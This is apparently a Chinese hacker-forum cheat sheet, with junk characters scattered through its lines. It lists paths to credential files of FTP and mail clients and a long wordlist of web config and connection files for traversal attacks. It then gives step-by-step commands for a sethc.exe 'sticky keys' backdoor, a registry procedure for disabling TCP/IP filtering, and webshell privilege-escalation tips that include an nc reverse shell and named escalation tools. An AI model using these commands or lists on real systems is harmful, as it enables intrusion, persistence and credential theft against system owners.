( [$ G) X, b8 X# _C:\Program Files\tencent\Foxmal\Foxmail.exe
6 Y1 p8 F/ f# w  [7 P. }C:\Program Files\tencent\Foxmal\accounts.cfg
2 r! g6 t% f: L& u: l; N, g" oC:\Program Files\LeapFTP 3.0\LeapFTP.exe
C:\Program Files\LeapFTP\LeapFTP.exe
5 c. r8 c7 G+ u/ H0 }c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
  M9 o1 m7 s+ dc:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
3 h. w" b* x  P& H" q9 t# ]8 T' s" GC:\Program Files\FlashFXP\FlashFXP.ini
. R  |* H) o, ^8 b8 VC:\Program Files\FlashFXP\flashfxp.exe
c:\Program Files\Oracle\bin\regsvr32.exe
5 b4 r: I8 F4 c% s  `c:\Program Files\腾讯游戏\QQGAME\readme.txt
6 z- V) @# f% Ac:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
8 }+ O8 \% P* B% J$ T
3.网站相对路径:

0 T# d! J  f  A) X, A9 d+ k/config.php
6 _% N" q+ j0 S; o" y../../config.php
../config.php
../../../config.php
! j! x, u. {7 M1 c/ Y7 {$ m* d  V/config.inc.php
./config.inc.php
../../config.inc.php
+ z6 ?6 Z4 R( V) e, I../config.inc.php
  ]6 A% Q$ k1 Z1 U  q- t+ M& H) u../../../config.inc.php
/conn.php
./conn.php
../../conn.php
../conn.php
9 r* X+ o" j" ]../../../conn.php
+ C% p. Q* z: P. o( j. Y. l/conn.asp
./conn.asp
' d# w" @7 ]& T( A3 C, G% ~../../conn.asp
% {7 h/ u& U3 l. \% C$ ^9 u) o../conn.asp
# V  D4 E* @8 S; C" w9 `9 l../../../conn.asp
  t+ L% T/ {; l: \* @/config.inc.php
./config.inc.php
2 X& ?8 f- e3 l0 s4 P0 V../../config.inc.php
../config.inc.php
../../../config.inc.php
/config/config.php
" ~, }, s/ V6 ]: u../../config/config.php
../config/config.php
../../../config/config.php
/config/config.inc.php
( ~! I( _/ r7 E$ |" j" [' U./config/config.inc.php
* C) n# l( b4 [# U, M$ y../../config/config.inc.php
../config/config.inc.php
" e$ m2 n. ~) V../../../config/config.inc.php
! O: C: @6 |6 |+ }. m/config/conn.php
5 S( R( A7 C$ w2 R: g./config/conn.php
/ B  f. W  X- ?- V3 l/ q../../config/conn.php
: k6 t0 g, A& ?2 E; ~( M../config/conn.php
: m  H# O: `; h, @6 C2 ~# N../../../config/conn.php
/config/conn.asp
./config/conn.asp
$ o6 C2 _" Q3 A: e. |! w4 o../../config/conn.asp
../config/conn.asp
../../../config/conn.asp
/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
9 _% A$ D/ X7 K. O2 q  X../config/config.inc.php
../../../config/config.inc.php
( w% Y0 P* ^0 m/data/config.php
../../data/config.php
( X8 f- V9 u2 Y../data/config.php
* p5 z$ v# q" r/ Q( W- v, J../../../data/config.php
/data/config.inc.php
0 d: l: I4 Y4 W  J5 ~. u* k- D3 v./data/config.inc.php
../../data/config.inc.php
8 ]+ b3 t$ ~# r, |) y. P../data/config.inc.php
; d- ^9 F. ^4 I7 m: Z4 E# K9 N../../../data/config.inc.php
/data/conn.php
./data/conn.php
  ]! i* ?5 n# D  H0 z& l9 M../../data/conn.php
7 F5 f1 V& n2 g0 H; R../data/conn.php
: w+ P9 I6 r  m5 p$ U../../../data/conn.php
+ ?) Q" M; O6 s7 `) |6 X/data/conn.asp
4 u2 W8 v# I# W$ Y+ h+ D1 |./data/conn.asp
../../data/conn.asp
6 H% c/ ^$ n& n. q6 h7 T- q0 u../data/conn.asp
../../../data/conn.asp
1 h) f% i' u! u/data/config.inc.php
./data/config.inc.php
4 x& B$ v$ Q) g4 j4 w../../data/config.inc.php
- D; d+ M6 o, ?8 y../data/config.inc.php
../../../data/config.inc.php
/include/config.php
, n( h, v6 R# J0 m' }5 w' O$ f../../include/config.php
../include/config.php
2 u' ]" g7 k/ z# @% n; ^: [/ a../../../include/config.php
+ ^. W9 ]& S1 G/include/config.inc.php
./include/config.inc.php
6 i! s! k$ Q' H% E6 c" ^) }../../include/config.inc.php
2 M# a* F* P9 u1 N6 {7 k9 ?../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
./include/conn.php
- f( I" k- T$ b! X4 h5 W../../include/conn.php
../include/conn.php
/ h0 P, O# o; M2 S3 U../../../include/conn.php
) ^4 w" g' d$ q; S& F/include/conn.asp
./include/conn.asp
- o( V) c, O. F../../include/conn.asp
../include/conn.asp
& X/ P* F: p( y) c% b, ]/ _# K../../../include/conn.asp
" }2 a# `# m% I( D7 f- \/include/config.inc.php
* @3 l  ?" ^) L; b: H4 d' G9 m./include/config.inc.php
../../include/config.inc.php
../include/config.inc.php
+ t% A; }. C2 }: d4 k2 z. U) ^../../../include/config.inc.php
! _! L: i2 N7 D. z8 P4 p8 a2 S6 f/inc/config.php
  N9 P* ^* C' \% t8 b2 A../../inc/config.php
../inc/config.php
../../../inc/config.php
/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
; B2 i7 C! e6 N/inc/conn.php
( i. V  l' Q' ]- z% e; M./inc/conn.php
2 M# c. h: H1 `; u3 L../../inc/conn.php
' ^1 ]6 E6 X9 E3 I2 A6 Z../inc/conn.php
. J, h4 o5 g* E  c' M../../../inc/conn.php
* M! G( D$ g& D6 d) Z/inc/conn.asp
" x8 R0 h3 ^4 {* i. G/ q0 i./inc/conn.asp
& f( o& |- ]+ _$ ]/ P../../inc/conn.asp
* y2 }( t2 _9 N/ }9 I3 z../inc/conn.asp
- E1 p* y- x' x4 R../../../inc/conn.asp
" ^- R; X" ^# V4 ~* a/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
../../../inc/config.inc.php
/index.php
! E. V( I" k' p( k* J' M./index.php
../../index.php
../index.php
, s* X# ~/ D% _../../../index.php
/index.asp
./index.asp
../../index.asp
3 r) A# F9 s" d2 n../index.asp
/ V/ s/ q) U9 ~1 `  h" g. w../../../index.asp
替换SHIFT后门
9 x& C$ J( F9 O　attrib c:\windows\system32\sethc.exe -h -r -s
: o' U5 u1 @4 ?) i1 u% h; q/ O
　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

　　del c:\windows\system32\sethc.exe
  c7 z1 V  C" a
; m+ k" I$ r+ B2 M( E　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

# B" k* @* A  ~　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

4 q0 j& l- A) J$ G3 E　　attrib c:\windows\system32\sethc.exe +h +r +s

% p* f, C# k8 A0 k　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
8 U' q! c0 C1 }. U; F, ], X) LHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
9 S6 B( G# i4 R, v0 Y$ b! ?HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

; @, ?3 ^( e- D/ }分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
! ?3 F* A/ d% q4 e
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
& y4 ?: T8 J% g3 p  L
) V! N7 I6 z0 b% `( Q" y再将以上三个文件分别用
regedit -s D:\a.reg
3 x6 p" y7 h7 R" S/ e* @regedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
4 t, K$ m" v/ T& @  D5 v1 f. v, c, w
webshell提权小技巧
" ^' D: B' ~) E/ d1 Q) ncmd路径:
( w9 `. K% V! ?: H# |c:\windows\temp\cmd.exe
5 O/ }9 z2 T1 C% C5 D, Q+ X# Mnc也在同目录下
1 j1 ?) q9 q5 j# \6 g- R% g) Y例如反弹cmdshell：
; ]. A, _6 e1 E9 v# F"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
通常都不会成功。
8 a9 l4 R3 \& y8 I6 {9 e
而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
2 Z& f3 o/ r% x命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
3 w' a- Q* I0 M6 D却能成功。。
+ G7 B# Z$ E, |8 C) v这个不是重点
+ B  x1 O& b: l8 T7 q4 Z$ Q我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功